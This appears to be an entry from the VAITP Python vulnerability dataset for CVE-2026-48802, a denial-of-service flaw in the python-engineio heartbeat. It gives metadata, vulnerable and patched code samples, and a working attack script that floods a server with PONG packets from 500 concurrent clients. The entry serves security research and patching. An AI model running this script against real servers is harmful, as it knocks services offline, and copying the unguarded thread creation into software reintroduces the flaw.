CVE-2026-48802
python-engineio heartbeat allows DoS via excessive thread creation.
- CVSS 7.5
- 770
- Resource Management
- Remote
python-engineio is a Python implementation of the Engine.IO realtime client and server. Prior to version 4.13.2, an attacker can cause the creation of unnecessary background threads in the python-engineio server by exploiting the heartbeat mechanism, which launches a thread when a new connection is received, and when the client sends a PONG packet. This issue primarily affects synchronous servers. Asynchronous servers allocate background tasks instead of physical threads, which are lightweight and less likely to cause denial of service. However, the fix that was implemented was also applied to the asynchronous case. Version 4.13.2 addresses this issue as follows: The initial background thread (or async task( for heartbeat management is only launched if a client passes authentication in the `connect` handler; and the server now ensures that there is only one background heatbeat thread (or async task) per client at a given point in time. Out of sequence PONG packets are now discarded when an active heartbeat thread is already running.
- CWE
- 770
- CVSS base score
- 7.5
- Published
- 2026-08-11
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- python-engin
- Fixed by upgrading
- Yes
Solution
Upgrade python-engineio to version 4.13.2 or later.
Vulnerable code sample
import threading
import time
class Server:
"""Simplified synchronous Engine.IO server."""
def __init__(self):
# Map session IDs to their state
self.sessions = {}
def _heartbeat_loop(self, sid):
"""Placeholder for the heartbeat background task."""
time.sleep(20)
def _handle_connect(self, sid, environ):
"""Handle a new client connection."""
self.sessions[sid] = {'heartbeat_thread': None}
def _handle_eio_packet(self, sid, pkt):
"""Handle an incoming packet from a client."""
if pkt.get('type') == 'pong' and sid in self.sessions:
# VULNERABLE: A new thread is started for every PONG without checking for an existing one.
thread = threading.Thread(
target=self._heartbeat_loop,
args=(sid,)
)
thread.start()
# The reference to the new thread is stored, but the old running
# thread is orphaned, leading to resource exhaustion.
self.sessions[sid]['heartbeat_thread'] = threadPatched code sample
import threading
import time
class Server:
"""Simplified synchronous Engine.IO server."""
def __init__(self):
# Map session IDs to their state
self.sessions = {}
def _heartbeat_loop(self, sid):
"""Placeholder for the heartbeat background task."""
time.sleep(20)
def _handle_connect(self, sid, environ):
"""Handle a new client connection."""
self.sessions[sid] = {'heartbeat_thread': None}
def _handle_eio_packet(self, sid, pkt):
"""Handle an incoming packet from a client."""
if pkt.get('type') == 'pong' and sid in self.sessions:
current_thread = self.sessions[sid].get('heartbeat_thread')
# FIX: A new thread is started only if another one is not already active.
if current_thread and current_thread.is_alive():
return # Discard PONG, a heartbeat is already running
thread = threading.Thread(
target=self._heartbeat_loop,
args=(sid,)
)
thread.start()
self.sessions[sid]['heartbeat_thread'] = threadPayload
import engineio
import threading
import time
import logging
# Suppress client-side logging to keep the output clean
logging.getLogger('engineio').setLevel(logging.ERROR)
logging.getLogger('urllib3').setLevel(logging.ERROR)
# --- Configuration ---
TARGET_URL = 'http://localhost:5000' # URL of the vulnerable server
ATTACKER_COUNT = 500 # Number of concurrent clients to spawn
PONG_INTERVAL_SECONDS = 0.02 # Interval to send PONGs (lower is more aggressive)
def exploit_heartbeat():
"""
Connects a single client and floods the server with PONG packets
to trigger repeated background thread creation.
"""
client = engineio.Client(logger=False)
try:
# 1. Connect to the server. On vulnerable versions, this may already
# create a heartbeat thread before authentication.
client.connect(TARGET_URL, transports=['websocket'])
# 2. Enter a loop to continuously send PONG packets.
while client.connected:
# On vulnerable servers, each PONG packet causes a new heartbeat
# thread to be created, without checking if one already exists.
# We use the internal _send_packet method to send raw PONGs.
pong_packet = engineio.packet.Packet(engineio.packet.PONG)
client._send_packet(pong_packet)
time.sleep(PONG_INTERVAL_SECONDS)
except Exception:
# Expect connection failures as the server becomes overloaded and
# runs out of resources (e.g., thread limits, memory).
pass
finally:
if client.connected:
client.disconnect()
if __name__ == '__main__':
print(f"[*] Starting attack on {TARGET_URL} with {ATTACKER_COUNT} clients.")
threads = []
for i in range(ATTACKER_COUNT):
thread = threading.Thread(target=exploit_heartbeat)
thread.daemon = True
threads.append(thread)
thread.start()
# Stagger the connection attempts slightly
time.sleep(0.01)
print(f"[*] Attack launched. Monitoring server for denial of service.")
print("[*] Press Ctrl+C to stop the attack script.")
try:
# Keep the main script alive while the attacker threads are running
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n[*] Attack script stopped.")
Cite this entry
@misc{vaitp:cve202648802,
title = {{python-engineio heartbeat allows DoS via excessive thread creation.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-48802},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-48802/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
